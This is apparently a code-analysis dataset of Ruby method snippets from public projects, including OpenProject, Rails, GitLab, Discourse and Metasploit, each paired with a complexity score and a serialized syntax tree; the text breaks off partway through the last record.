{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/commands/set_permissions_command.rb","start_line":145,"raw_source":"def handle_response(response)\n error = Results::Error.new(payload: response, source: self.class)\n\n case response\n in { status: 200 }\n Success(response.json(symbolize_keys: true))\n in { status: 204 }\n Success(result: response)\n in { status: 400 }\n Failure(error.with(code: :bad_request))\n in { status: 401 }\n Failure(error.with(code: :unauthorized))\n in { status: 403 }\n Failure(error.with(code: :forbidden))\n in { status: 404 }\n Failure(error.with(code: :not_found))\n else\n Failure(error.with(code: :error))\n end\n end","complexity_score":21.35,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[204]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[400]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"64719d55-e347-447a-8ec1-c2ce73f0e076"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":66,"raw_source":"def reset_negative_cache # :nodoc:\n reset if loaded? && target.nil?\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_negative_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"reset\"]},null]}]}","id":"c6e41711-5d1e-462b-9040-31341a741414"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/availability.rb","start_line":121,"raw_source":"def update_b2b_users(user_list = [])\n raise \"Cannot add b2b users if b2b is not enabled\" unless b2b_app_enabled\n\n added_users = b2b_users.map(&:ds_username)\n\n # Returns if list is unchanged\n return self if (added_users - user_list) == (user_list - added_users)\n\n users_to_add = user_list.reject { |user| added_users.include?(user) }\n users_to_remove = added_users.reject { |user| user_list.include?(user) }\n\n @b2b_users = b2b_users.reject { |user| users_to_remove.include?(user.ds_username) }\n @b2b_users.concat(users_to_add.map { |user| B2bUser.from_username(user) })\n @b2b_users.concat(users_to_remove.map { |user| B2bUser.from_username(user, is_add_type: false) })\n\n return self\n end","complexity_score":37.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_b2b_users\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user_list\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b2b_app_enabled\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Cannot add b2b users if b2b is not enabled\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"added_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b2b_users\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"ds_username\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_users\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"user_list\"]}]}]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_list\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"added_users\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"users_to_add\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_list\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_users\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users_to_remove\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_users\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_list\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@b2b_users\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b2b_users\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_to_remove\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"ds_username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@b2b_users\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_to_add\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"B2bUser\"]},\"from_username\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@b2b_users\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_to_remove\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"B2bUser\"]},\"from_username\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_add_type\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]}","id":"6601921f-9ea2-4404-bff3-89e95f54b55e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":304,"raw_source":"def propagate_integrations\n @group.integrations.with_default_settings.each do |integration|\n PropagateIntegrationWorker.perform_async(integration.id)\n end\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"propagate_integrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"integrations\"]},\"with_default_settings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PropagateIntegrationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"id\"]}]}]}]}","id":"9e1fe17e-903c-437e-adee-c06b4fe088e0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb","start_line":765,"raw_source":"def init_doc_xml_reals_file(pre_defs, activex, tiff)\n reals = []\n pre_defs.each do |obj|\n reals << { :id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\\/word\\//, '') }\n end\n\n activex.each do |obj|\n reals << { :id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\\/word\\//, '') }\n end\n\n reals << { :id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\\/word\\//, '') }\n\n { :fname => \"/word/_rels/document.xml.rels\", :data => make_doc_xml_reals(reals) }\n end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"init_doc_xml_reals_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre_defs\"]},{\"type\":\"arg\",\"children\":[\"activex\"]},{\"type\":\"arg\",\"children\":[\"tiff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reals\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre_defs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reals\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fname\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/word/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activex\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reals\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xml\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"fname\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/word/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reals\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tiff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tiff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tiff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fname\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/word/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fname\"]},{\"type\":\"str\",\"children\":[\"/word/_rels/document.xml.rels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"make_doc_xml_reals\",{\"type\":\"lvar\",\"children\":[\"reals\"]}]}]}]}]}]}","id":"59d6ccc1-4a4e-4ad9-9c9c-81e0b27e2a18"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":987,"raw_source":"def bots\n users.project_bot\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bots\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"project_bot\"]}]}","id":"ef5e0abc-f191-469f-ba64-44d36c419ae0"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/flagged_user_serializer.rb","start_line":42,"raw_source":"def custom_fields\n fields = User.allowed_user_custom_fields(scope)\n\n result = {}\n fields.each { |k| result[k] = object.custom_fields[k] if object.custom_fields[k].present? }\n\n result\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"allowed_user_custom_fields\",{\"type\":\"send\",\"children\":[null,\"scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"custom_fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"custom_fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"54ba089a-c7b0-4c84-90fd-24edf680ca76"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/discord/bot_controller.rb","start_line":45,"raw_source":"def verify_key\n Ed25519::VerifyKey.new([SiteSetting.ai_discord_app_public_key].pack(\"H*\")).freeze\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ed25519\"]},\"VerifyKey\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_discord_app_public_key\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},\"freeze\"]}]}","id":"2fb7f302-07c1-495a-9a25-743870b8e90c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/groups.rb","start_line":159,"raw_source":"def present_groups_with_pagination_strategies(params, groups)\n groups = groups.select(groups.arel_table[Arel.star])\n\n return present_groups(params, groups) if current_user.present?\n\n options = {\n with: Entities::Group,\n current_user: nil,\n statistics: false\n }\n\n groups, options = with_custom_attributes(groups, options)\n\n present paginate_with_strategies(groups), options\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"present_groups_with_pagination_strategies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"arel_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"star\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present_groups\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"Group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"statistics\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"with_custom_attributes\",{\"type\":\"lvar\",\"children\":[\"groups\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"send\",\"children\":[null,\"paginate_with_strategies\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"e8060461-ebd6-414f-9bfe-0cce55b2b97d"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/chat.rb","start_line":41,"raw_source":"def parse_completion_response(response)\n data = response.body\n return if data.empty?\n\n raise Error.new(response, data.dig('error', 'message')) if data.dig('error', 'message')\n\n message_data = data.dig('choices', 0, 'message')\n return unless message_data\n\n usage = data['usage'] || {}\n cached_tokens = usage.dig('prompt_tokens_details', 'cached_tokens')\n\n Message.new(\n role: :assistant,\n content: message_data['content'],\n tool_calls: parse_tool_calls(message_data['tool_calls']),\n input_tokens: usage['prompt_tokens'],\n output_tokens: usage['completion_tokens'],\n cached_tokens: cached_tokens,\n cache_creation_tokens: 0,\n model_id: data['model'],\n raw: response\n )\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_completion_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"message\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"message_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"choices\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_data\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"usage\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"usage\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usage\"]},\"dig\",{\"type\":\"str\",\"children\":[\"prompt_tokens_details\"]},{\"type\":\"str\",\"children\":[\"cached_tokens\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"assistant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_calls\"]},{\"type\":\"send\",\"children\":[null,\"parse_tool_calls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tool_calls\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usage\"]},\"[]\",{\"type\":\"str\",\"children\":[\"prompt_tokens\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usage\"]},\"[]\",{\"type\":\"str\",\"children\":[\"completion_tokens\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_tokens\"]},{\"type\":\"lvar\",\"children\":[\"cached_tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_creation_tokens\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"model\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"09d620bd-256b-4914-85ea-f1921c70aedd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb","start_line":163,"raw_source":"def dump_to_json(template)\n json = {}\n\n template.each do |attribute, values|\n next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }\n\n json[attribute] = values.map do |value|\n value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join\n end\n end\n\n json.to_json\n end","complexity_score":22.85,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IGNORED_ATTRIBUTES\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"casecmp?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[